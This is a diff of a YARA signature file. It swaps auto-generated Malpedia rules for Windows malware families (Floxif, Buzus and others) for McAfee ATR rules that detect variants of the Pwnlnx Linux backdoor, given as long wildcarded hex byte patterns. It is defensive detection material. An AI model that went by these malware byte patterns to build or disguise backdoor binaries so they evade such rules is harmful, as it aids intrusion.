-		$sequence_2 = { 48c78424c800000002000000 48898424c0000000 e8???????? 4c8da424c0000000 488d842460050000 48c78424c800000002000000 }
-		$sequence_3 = { eb07 b001 80fa09 7478 }
-		$sequence_4 = { 8806 488d4602 885601 eb2d b964000000 }
-		$sequence_5 = { 53 4883ec20 4c8b6108 4889cb 4c3b6110 740f }
-		$sequence_6 = { ebcc 31db 4c89ea 4c89e1 4189de ffc3 }
-		$sequence_7 = { 7430 c605????????01 31c0 8a1403 881406 48ffc0 4883f81f }
-		$sequence_8 = { 4155 4154 53 4883ec20 c60100 4889cb 4989d5 }
-		$sequence_9 = { bd07000000 eb32 41b9a0860100 bd06000000 eb25 41b910270000 bd05000000 }
+		$bp = { 7F??4C4602??01??000000000000000002??3E????0000????1A????0000000040000000000000??????0000000000000000000040??????????????1D????????0000????????????000000000000??????4000000000??????4000000000????01??00000000????01??00000000????000000000000????0000??????0000????000000000000????4000000000000002????000000001C??0000000000001C??00000000000001??00000000000001??000005????????0000000000000000??????0000000000004000000000????76??00000000????76??000000000000????00000000????0000????0000000080????00000000????????????0000????????????000038??00000000000080??????00000000000020??0000000002??0000060000????80????0000000028??????????000028??????????0000A0????????0000????????????0000????000000000000??????000004??00001C??0000000000001C??4000000000??????4000000000????000000000000????000000000000??????00000000000050E5??6404??00009C6D0000000000009C6D4000000000??????????????0000DC??000000000000DC??00000000000004??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000????6C69????????????2D????????78??78??362D????????6F2E32??04??000010??000001??0000474E5500000000????0000????0000????000000000000????0000??????000001??000006000000000000????000020??0000??????00007D??5A580000000000000000000000000000000000000000000000000000000015????????00000000000000000000??????00000000000082????????00000000000000000000????????????0000????????????00000000000000000000????????????0000??????000012??0000000000000000000062??0000000000006A??000012??000000000000000000001B??0000000000007E??000012??000000000000000000008B??0000000000004902??????00000000000000000000????????????0000????????????00000000000000000000????????00000000??????000012??000000000000000000008E??000000000000F401??????00000000000000000000????????????0000????????????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????0000????000000000000000000000000000000000000????0000????000000000000000000000000000000000000??????000012??0000000000000000000025????????0000????????????00000000000000000000????000000000000????0000????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????0000????00000000000000000000????000000000000????02??????00000000000000000000????????????0000????01??????00000000000000000000??????0000000000006602??????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????01??????00000000000000000000????000000000000????????????00000000000000000000????000000000000????01??????00000000000000000000????000000000000????0000????00000000000000000000????01??00000000????????????00000000000000000000????????????0000????????????00000000000000000000??????000000000000EC01??????00000000000000000000??????0000000000004B01??????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????01??????00000000000000000000????????????0000??????000012??0000000000000000000008??0000000000004302??????00000000000000000000????????????0000??????????????000000000000000000000A??0000000000003F01??????00000000000000000000????????????0000??????000012??00000000000000000000F0????00000000????01??????00000000000000000000??????????????00002F02??????00000000000000000000????01??00000000????????????00000000000000000000????000000000000??????????????0000000000000000000080????00000000????02??????00000000000000000000????000000000000??????000012??0000000000000000000074??000000000000BF????????00000000000000000000????????????0000????02??????00000000000000000000??????000000000000FA0000????00000000000000000000????????????0000??????000012??0000000000000000000011??000000000000A8??000012??0000000000000000000044000000000000??????000012??000000000000000000005A000000000000??????000012??0000000000000000000029??000000000000C6????????00000000000000000000????000000000000????????????00000000000000000000????000000000000????0000????00000000000000000000????????00000000????????????00000000000000000000??????000000000000BC????????00000000000000000000????02??00000000????01??????00000000000000000000??????00000000000034??000012??00000000000000000000A1????????0000????????????00000000000000000000????????????0000??????????????000000000000000000004B000000000000????0000????00000000000000000000????000000000000??????000012??0000000000000000000005????????0000??????000012??0000000000000000000031??00000000000074??000012??00000000000000000000FF??0000000000005E02??????00000000000000000000????000000000000????????????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????02??????00000000000000000000??????000000000000DE??000012??000000000000000000007B??00000000000030??000012??0000000000000000000075??000000000000D9??000012??000000000000000000000E000000000000????????????00000000000000000000????000000000000????02??????00000000000000000000????????????0000????????????00000000000000000000????????????0000????????????00000000000000000000????000000000000????02??????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????????????00000000000000000000????000000000000????????????00000000000000000000??????0000000000005201??????0000????174000000000????00000000000000005F5F676D6F6E5F73??6172??5F5F??????76??52656769????????????6173??6573??6C69????????????61642E????2E30??72??63????72??6D??????68????????5F63????6174????????6E6474????????75??65??????69??????????????6E6F5F6C6F63????69????????????6B????74??72??6164??73??676D6173????????6E6E6563??????74??72??6164??73??6C66??????63????74??70??68????????5F6465????63????6663????6C????????63??73??2E????????63????74??73??72??70????????69????????????????????616E64??????6574??6174??6E??????74??77??69??????????????6469????????????5F6E74??61??????74??72??69??????????????70??????????6D6F6E????????74??6E??????6C6563??????6B????????72??616C6C6F63??676574??69??????????????73??72??6F6B????63????77????????70??6173??72??3634??73??67656D70??79??6574??6D656D73??74??72??6469??????????????????6565??????68????????6173??74??6D65??????74??6F63????70????????616E74??74??6475??32??73??67616464????74??69????????????6472??6663??????65??????74??6F63????70????????6C6C6F63??73??72??6174??72??616C70??74????????6D6F76????????656E6469????????????6C??????74??6F73??62????616D65??????6563??????????72??74????????656164??????6C6F63????74??6C6F63????74??6D65??????616E6469????????????616464??????????????6565????73??74??69????????????????????6D6D6F76????????70??6E3634??5F5F6C69????????????72??5F6D6169????????????73??73??70??69????????????65????????78??74??74??34??474C4942435F32??32??35????????42435F32??33??000002??02??02??03??02??02??02??03??03??02??02??02??0000000002??02??02??02??02??03??02??02??02??02??02??02??02??02??03??02??02??02??04??02??02??03??02??03??02??02??02??03??02??02??02??02??02??03??02??02??02??02??02??02??03??02??02??03??02??02??02??03??02??03??02??03??02??02??02??02??02??02??03??03??03??02??02??02??02??02??000001??01??24??000010??000020??000075??69??????????9602??00000000????????????????????000000000000????69????????????A2????????0000??????69??????????9602??00000000????81????????????060000????????????000000000000????81????????????070000????00000000000000000000????81????????????070000????00000000000000000000????81????????????070000????00000000000000000000000082??????0000????0000??????0000000000000000000008??????????0000070000????????????000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000??????6000000000????0000??????000000000000000000004882??????0000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000?????? }
 
 	condition:
-		7 of them and filesize <674816
+		uint16(0)==0x457f and filesize <100KB and all of them
 }
-rule MALPEDIA_Win_Floxif_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_2 : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "dcbc6afb-5640-594e-8001-abd00982f671"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.floxif_auto.yar#L1-L126"
-		license_url = "N/A"
-		logic_hash = "0032adeaefefb80d7e1e935d3a462c453aec0c986c2f0bdf2924a1a8da50b164"
+		description = "Rule to detect the backdoor pwnlnx variant 2"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "c4ee686b-49d9-5566-b749-1144a19c1fee"
+		date = "2020-04-17"
+		modified = "2020-08-14"
+		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L35-L65"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "08cc67002782cbafd97a4bff549d25dd72d6976d2fdf79339aaf5a3ff7c3107e"
+		logic_hash = "08ea40ba72677263a41f62097fc38040361ba595d67cb04979b66548c7f4d271"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Pwnlnx"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { e8???????? 8945fc 837dfc02 7709 c745f401000000 eb09 8b45fc }
-		$sequence_1 = { 3955f4 0f83c9000000 68???????? e8???????? }
-		$sequence_2 = { 8b55fc c70200000000 8b45fc c7401000000000 8b45fc 8be5 }
-		$sequence_3 = { c645e500 c645e6e1 c645e700 c645e87d c645e973 c645ea7a c645eb30 }
-		$sequence_4 = { c645e500 c645e6bb c645e700 c645e828 c645e92b c645ea23 }
-		$sequence_5 = { 7505 e9???????? 837dd800 7406 837dd805 7502 eb92 }
-		$sequence_6 = { 83ec14 894df8 8b45f8 8b4808 }
-		$sequence_7 = { ebaa 8d4d08 e8???????? 3945fc 7526 8d4d18 e8???????? }
-		$sequence_8 = { 8b55fc 837a0400 7507 e8???????? eb11 8b4dfc e8???????? }
-		$sequence_9 = { e8???????? e8???????? 83c410 eb44 83ec10 8bcc 8d5508 }
+		$bp = { 7F??4C4602??01??000000000000000002??3E????0000000004??00000000??????00000000000088????????????00000000??????38??05????????????????0000????????????0000000000000000??????0000000000004000000000??????0D??????????????0D????????0000????00000000????0000????0000????????????0000????????????0000????????????0000????12??00000000????????????00000000????00000000??????000004??00005801??00000000??????4000000000??????4000000000????????00000000????????00000000??????000000000000070000??????000080??????0000000080??????0000000080??????0000000028??00000000000070??00000000000008??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000??????000010??000001??0000474E5500000000????0000????0000????0000??????000014??000003??0000474E55????????????CC78??78??83????????????CB371F0000000080??????0000000025????????0000????7E??00000000????????????0000????????????0000??????4200000000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000??????4200000000????????????0000????????????0000??????4200000000????????????0000????????????0000????????????0000????76??00000000????????????0000????8B????00000000C8??????0000000025????????0000??????4200000000????76??00000000????????????0000????444200000000????76??00000000????????????0000??????4900000000????76??00000000????????????0000??????4600000000????76??00000000????????????0000????424200000000??????EC08??33??0000E8????????E8????????4883????C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????00000000000000000000000000000000000000000000000031??4989??5E4889??4883????505449C7??????????48C7??????????48C7??????????E8????????F490904883????488B??????????4885??74??FF??4883????C390909090909090909090909090554889??534883????80????????????75??BB????????488B??????????4881??????????48C1????4883????4839??73??660F1F??????4883????4889??????????FF????????????488B??????????4839??72??B8????????4885??74??BF????????E8????????C6????????????4883????5BC9C30F1F????????????55B8????????4885??4889??74??BE????????BF????????E8????????4883????????????74??B8????????4885??74??BF????????C9FF??0F1F??????????C9C39090554889??534881??????????89??????????48C7????????????8B????3D????????0F87????????8B????89??488D??????????8B??????????4889??89??E8????????85??0F84????????8B????89??488D??????????89??4889??E8????????BA????????488D??????????4889??4889??E8????????4889????4883??????0F84????????488D??????????488D??????????4889??4889??E8????????85??0F85????????488B??????????4889????C7????????????488B????89????488B????48C1????89????488B????4889????488B????4889??????488B????4889??????E8????????89????BE????????488D????E8????????488D????8B??????????BA????????4889??89??E8????????85??0F84????????488D????8B??????????BA????????4889??89??E8????????85??0F84????????BE????????488D????E8????????8B????488B????4889????488B????4889??????488B????4889??????E8????????39??0F85????????8B????89??4889??48C1????8B????89??488D????4889????488B????488B????BA????????4889??4889??E8????????488B????4889????EB??488B????488D??????????4889??BA????????BE????????4889??E8????????89????83??????7E??8B????488D??????????89??4889??E8????????8B????4863??488D??????????8B??????????4889??89??E8????????85??74??8B????48984801????488B????483B????7C??EB??90EB??90EB??90EB??90EB??90EB??90488B????4889??E8????????EB??90EB??90EB??90B8????????4881??????????5BC9C3554889??534881??????????4889??????????E8????????4889??E8????????C7????????????488B??????????8B????89????488B??????????8B??89????488B??????????8B????89????8B????8B????BA????????89??89??E8????????89????83??????0F84????????488D????BA????????BE????????4889??E8????????C7????????????C7????????????8B????89????488B????4889????488B????4889??????488B????4889??????E8????????89????488D????BE????????4889??E8????????488D????8B????BA????????4889??89??E8????????85??0F84????????488D??????????4889??E8????????488D??????????BE????????4889??E8????????488D??????????8B????BA????????4889??89??E8????????85??0F84????????488D????8B????BA????????4889??89??E8????????85??74??488D????BE????????4889??E8????????8B????488B????4889????488B????4889??????488B????4889??????E8????????39??75??8B????83????75??8B????488B????4889????488B????4889??????488B????4889??????89??E8????????EB??90EB??90EB??90EB??90EB??908B????89??E8????????B8????????4881??????????5BC9C390554889??4889????89????C7????????????488B????4889????C7????????????EB??488B????0FB6??8B????89??C1????F7????89??48980FB6??????????89??31??488B????88??83??????4883??????8B????3B????7C??488B????C9C3554889??4889????89????488B????4889????C7????????????EB??488B????0FB6??0FB6??????????31??488B????88??83??????4883??????8B????3B????7C??488B????C9C39090554889??534881??????????89??????????48C7????????????48C7????????????48C7????????????8B????89??488D??????????8B??????????4889??89??E8????????85??0F84????????8B????89??488D??????????89??4889??E8????????488D??????????488D??????????4889??4889??E8????????BA????????488D??????????488D??????????BE????????4889??B8????????E8????????488D??????????4889??E8????????4883????4889??E8????????4889????4883??????0F84????????488D??????????488B????4889??4889??E8????????488D??????????488D????B9????????BA????????4889??4889??E8????????89????83??????0F8E????????C7????????????E9????????488B????8B????4863??48C1????4801??488B??488D????BA????????488D??????????488D??????????4989??BE????????4889??B8????????E8????????488D??????????488D??????????4889??4889??E8????????85??0F85????????48C7????????????48C7????????????488D??????????4883????4889??E8????????4889??E8????????488B??????????8B??????????4189??4181??????????8B??????????89??81??????????488B????8B????4863??48C1????4801??488B??488D????BA????????488D??????????4889??????4889??????488B????4889??????488B????4889????4589??4189??4889??BE????????4889?? }
 
 	condition:
-		7 of them and filesize <352256
+		uint16(0)==0x457f and filesize <1000KB and all of them
 }
-rule MALPEDIA_Win_Buzus_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_3 : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "abeb46d7-6b5d-534d-9d29-46b219047b43"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.buzus_auto.yar#L1-L130"
-		license_url = "N/A"
-		logic_hash = "4ce965d715abb7623aae188d8dd7527d9c7207cb501cc27ac457187efef652e0"
+		description = "Rule to detect the backdoor pwnlnx variant"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "02ea1eb2-7235-5ed5-86ba-19d52e8fb428"
+		date = "2020-04-17"
+		modified = "2020-08-14"
+		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L67-L97"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "08f29e234f0ce3bded1771d702f8b5963b144141727e48b8a0594f58317aac75"
+		logic_hash = "8a1405f430ce57810577f65ef43a1425601bf49b5adb4f6f935505427ad9dc94"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Pwnlnx"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 5d 7413 68???????? 50 ffd6 3bc3 a3???????? }
-		$sequence_1 = { 4e 46 897508 ebbd 803e2a 750b 83f801 }
-		$sequence_2 = { ff75c0 ff75bc 50 e8???????? 83c40c 83f801 0f85e4000000 }
-		$sequence_3 = { e8???????? 8d8554fdffff 50 8d85ccfdffff 50 68???????? }
-		$sequence_4 = { 68???????? 6a01 56 68???????? 33ff 8975f0 8975f4 }
-		$sequence_5 = { 50 ff15???????? be???????? 8d84242c280000 }
-		$sequence_6 = { 898524ffffff 8b45bc 89850cffffff 8b45d8 898514ffffff 6bc03c 6a31 }
-		$sequence_7 = { 385802 750e 0fbe5001 c68415b0feffff01 eb28 80fa2d 7539 }
-		$sequence_8 = { 6a03 58 8945b8 6a3c 59 3bc1 7603 }
-		$sequence_9 = { 68???????? 50 ff7508 e8???????? 83c41c 8b45d4 68b80b0000 }
+		$bp = { 7F??4C4602??01??000000000000000002??3E????0000000004??00000000??????000000000000B0??3A??000000000000000040??????????????????????01??000005????????0000000000000000??????0000000000004000000000????????????0000????????????00000000????00000000????0000????0000????A40C??00000000C0??????????????C0??????????????5013??00000000????????????00000000????00000000??????000004??00005801??00000000??????4000000000??????4000000000????000000000000????000000000000??????000000000000070000??????0000C0??????????????C0??????????????C0??????????????28??00000000000078??00000000000008??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000??????000010??000001??0000474E5500000000????0000??????000000000000C0????????????????????????0000????84????00000000C8??????0000000025????????0000????374200000000????A56C00000000????????????0000????????????0000????A56C00000000????????????0000??????4200000000????A56C00000000????????????0000????24??00000000????A56C00000000????????????0000????????????0000????A56C00000000????????????0000????83??????0000????A56C00000000????????????0000????5E42000000000000A66C00000000????????????0000??????4200000000????A66C00000000????????????0000????914200000000????A66C00000000????????????0000??????4200000000????A66C00000000????????????0000????????????0000????A66C00000000????????????0000????????????0000????A66C00000000????????????0000??????4200000000????A66C00000000????????????0000??????4200000000??????EC08??4301??????62??0000E8????????4883????C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????00000000000000000000000000000000000000000000000031??4989??5E4889??4883????505449C7??????????48C7??????????48C7??????????E8????????F490904883????488B??????????4885??74??FF??4883????C390909090909090909090909090B8????????55482D????????4883????4889??76??B8????????4885??74??5DBF????????FF??660F1F????????????5DC366666666????????????????????BE????????554881??????????48C1????4889??4889??48C1????4801??48D1??74??B8????????4885??74??5DBF????????FF??0F1F??5DC3660F1F??????80????????????75??554889??53BB????????4881??????????4883????488B??????????48C1????4883????4839??73??660F1F??????4883????4889??????????FF????????????488B??????????4839??72??E8????????B8????????4885??74??BF????????E8????????C6????????????4883????5B5DF3??669055B8????????4885??4889??74??BE????????BF????????E8????????BF????????4883????75??5DE9????????6690B8????????4885??74??FF??EB??9090554889??534881??????????89??????????48C7????????????8B????3D????????76??E9????????8B????89??488D??????????8B??????????4889??89??E8????????85??75??E9????????8B????89??488D??????????89??4889??E8????????488D??????????BE????????4889??E8????????4889????4883??????75??E9????????488D??????????488D??????????4889??4889??E8????????85??74??E9????????488B??????????4889????C7????????????488B????89????488B????48C1????89????4883????FF????FF????FF????E8????????4883????89????BE????????488D????E8????????8B??????????BA????????488D????89??E8????????85??75??E9????????8B??????????BA????????488D????89??E8????????85??75??E9????????BE????????488D????E8????????8B????4883????FF????FF????FF????E8????????4883????39??74??E9????????8B????89??48C1????4889??8B????89??4801??4889????488B????488B????BA????????4889??4889??E8????????488B????4889????EB??488B????488D??????????4889??BA????????BE????????4889??E8????????89????83??????7F??EB??8B????488D??????????89??4889??E8????????8B????4863??488D??????????8B??????????4889??89??E8????????85??75??EB??8B????48984801????488B????483B????7C??488B????4889??E8????????B8????????488B????C9C3554889??534881??????????4889??????????E8????????4889??E8????????C7????????????488B??????????8B????89????488B??????????8B??89????488B??????????8B????89????8B????8B????BA????????89??89??E8????????89????83??????75??E9????????488D????BA????????BE????????4889??E8????????C7????????????C7????????????8B????89????4883????FF????FF????FF????E8????????4883????89????488D????BE????????4889??E8????????488D????8B????BA????????4889??89??E8????????85??75??E9????????488D??????????4889??E8????????488D??????????BE????????4889??E8????????488D??????????8B????BA????????4889??89??E8????????85??75??EB??488D????8B????BA????????4889??89??E8????????85??75??EB??488D????BE????????4889??E8????????8B????4883????FF????FF????FF????E8????????4883????39??74??EB??8B????83????74??EB??8B????4883????FF????FF????FF????89??E8????????4883????908B????89??E8????????B8????????488B????C9C3554889??4889????89????C7????????????488B????4889????C7????????????EB??488B????0FB6??8B????99F7????89??48980FB6??????????31??89??488B????88??83??????4883??????8B????3B????7C??488B????5DC3554889??4889????89????488B????4889????C7????????????EB??488B????0FB6??0FB6??????????31??488B????88??83??????4883??????8B????3B????7C??488B????5DC39090554889??534881??????????89??????????48C7????????????48C7????????????48C7????????????8B????89??488D??????????8B??????????4889??89??E8????????85??75??E9????????8B????89??488D??????????89??4889??E8????????488D??????????488D??????????4889??4889??E8????????488D??????????488D??????????4889??BA????????BE????????4889??B8????????E8????????488D??????????4889??E8????????4883????4889??E8????????4889????4883??????75??E9????????488D??????????488B????4889??4889??E8????????488D????488D??????????B9????????BA????????4889??E8????????89????83??????0F8E????????C7????????????E9????????488B????8B????4863??48C1????4801??488B??488D????488D??????????488D??????????4989??4889??BA????????BE????????4889??B8????????E8????????488D??????????488D??????????4889??4889??E8????????85??0F85????????48C7????????????48C7????????????488D??????????4883????4889??E8????????4889??E8????????4989??488B??????????8B??????????25????????89??8B??????????25????????89??488B????8B????4863??48C1????4801??488B??488D????488D??????????415052FF????FF????4189??4189??BA????????BE????????4889??B8????????E8????????4883????488B????4889??E8????????4889??488D?????????? }
 
 	condition:
-		7 of them and filesize <679936
+		uint16(0)==0x457f and filesize <4000KB and all of them
 }
-rule MALPEDIA_Win_Unidentified_068_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_4 : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5159a6d8-1e34-506d-99d9-cd809f096743"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_068"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_068_auto.yar#L1-L133"
-		license_url = "N/A"
-		logic_hash = "89cc05fc50aa07230f88b9a05ad2adeb94c446a13f619795648893388c9d8285"
+		description = "Rule to detect the backdoor pwnlnx variant 4"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "199bb534-f0f6-5b67-aedd-3eada5e45cc6"
+		date = "2020-04-17"
+		modified = "2020-08-14"
+		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L99-L129"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "2590ab56d46ff344f2aa4998efd1db216850bdddfc146d5d37e4b7d07c7336fc"
+		logic_hash = "11203beee446aaf0783d3a8d3839a88ef16c27d52be8670d650ebf6a1de2c3aa"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Pwnlnx"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 75ee 394624 7417 50 8bce e8???????? }
-		$sequence_1 = { 43 8bc8 3bde 72e6 8b75e0 8b5df4 8b55f8 }
-		$sequence_2 = { 85ff 741b 8b4674 ff7514 8b0c98 83c118 e8???????? }
-		$sequence_3 = { 59 57 8bd8 c745fc04000000 8d45fc 50 53 }
-		$sequence_4 = { 7406 8b08 50 ff5108 885d94 895df0 8d4df0 }
-		$sequence_5 = { 8d5648 8d4d88 e8???????? 59 83781408 7202 8b00 }
-		$sequence_6 = { 660f13442450 8b4c2454 894c2458 8b4c2450 894c2450 8b4c2464 894c2428 }
-		$sequence_7 = { d1f9 6a41 5f 894df0 8b34cd18aa4400 8b4d08 6a5a }
-		$sequence_8 = { 72ba 33f6 81fb10000020 0f45f3 85f6 7523 33db }
-		$sequence_9 = { 8d4948 e8???????? 33c0 5d c20800 55 8bec }
+		$bp = { 7F??4C4602??01??000000000000000001??3E????000000000000000000000000000000000000????????????000000000000??????0000000040??????????????000014??000003??0000474E55????9FECFBE5??F973??EB??2A??????????71??BD????????0000000000000000554889??53E8????????FF????????????4889??4889??4881??????????FF????????????4889??5BC9C30F1F??????554889??E8????????FF????????????C9C366666666????????????????????554889??E8????????4885??74??4C8B????4D85??74??65??8B????????????8B??????????4889??????????48C7??????????89??C1????C1????01??25????????29??48984C89????????????FF??????????C9C3660F1F????????????31??C9C36666662E????????????????554889??E8????????4889??????????48C7??????????FF??????????C9C390554889??E8????????8B??????????488B??????????488D????0FB6????3C??400F94??3C??410F94??74??4084??75??B8????????C9C30F1F????????????8B??????????39????74??3B????74??4584??74??8B??????????4801??0FB7??????????66????74??66??????75??4889??41FF??B8????????C9C30F1F??4084??74??8B??????????4801??0FB7??????????66????75??EB??0F1F????554889??534883????E8????????31??4889??31??E8????????483D????????77??4885??74??488B????488B????488B????488B????4889??????????31??4889??E8????????31??4883????5BC9C383????EB??662E0F1F????????????554889??415453E8????????4989??4889??31??31??E8????????483D????????77??488B????31??4889??488B????488B????488B????488B??????????4989????4889??????????E8????????31??5B415CC9C383????EB??0F1F??????554889??534883????E8????????31??4889??31??E8????????483D????????77??4885??74??488B????488B????488B????488B????4889??????????31??4889??E8????????31??4883????5BC9C383????EB??662E0F1F????????????554889??415453E8????????4989??4889??31??31??E8????????483D????????77??488B????31??4889??488B????488B????488B????488B??????????4989????4889??????????E8????????31??5B415CC9C383????EB??0F1F??????554889??534883????E8????????31??4889??BE????????E8????????483D????????77??4885??74??488B????4889????31??4889??E8????????31??4883????5BC9C383????EB??660F1F??????554889??415453E8????????4989??4889??BE????????31??E8????????483D????????77??488B????31??4889??488B????4989????488B????4889????E8????????31??5B415CC9C383????EB??554889??4157415641554154534883????E8????????4889??488D????4989??4189??4889??BA????????4989??4489????4D89??E8????????488B??????????448B????4881??????????488D????75??EB??0F1F????488B????4881??????????488D????74??0FB7????4839??75??4883????31??5B415C415D415E415FC9C30F1F??????4D89??4C89??4489??4889??4C89??FF??????????4883????5B415C415D415E415FC9C30F1F????554889??4157415641554154534883????E8????????65??8B????????????4889????4889????4189??8B??????????4889??B9????????48C7??????????4889??4D89??4589??89??C1????C1????01??25????????29??F3A648984C8B????????????0F84????????B9????????48C7??????????4889??F3A60F84????????31??4585??4889??4889????4489????74??418D??????31??488D??????0FB6??4883????4889??48C1????48C1????4801??4801??4839??488D????488D????75??89????488D????4C89??E8????????4885??4889??0F84????????488B????4885??74??81????????????0F84????????488B??????????483D????????4C8D????75??EB??0F1F??????498B????483D????????4C8D????74??498B??4889??E8????????85??75??31??4883????5B415C415D415E415FC9C34589??4D89??488B????4489??4889??488B????FF??????????4883????5B415C415D415E415FC9C30F1F??????????81????????????0F85????????31??EB??488D????4C89??E8????????4885??4889??74??498B????488B??????????488B????4885??74??31??4889??4889????FF??4885??488B????0F84????????31??E9????????0F1F????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8??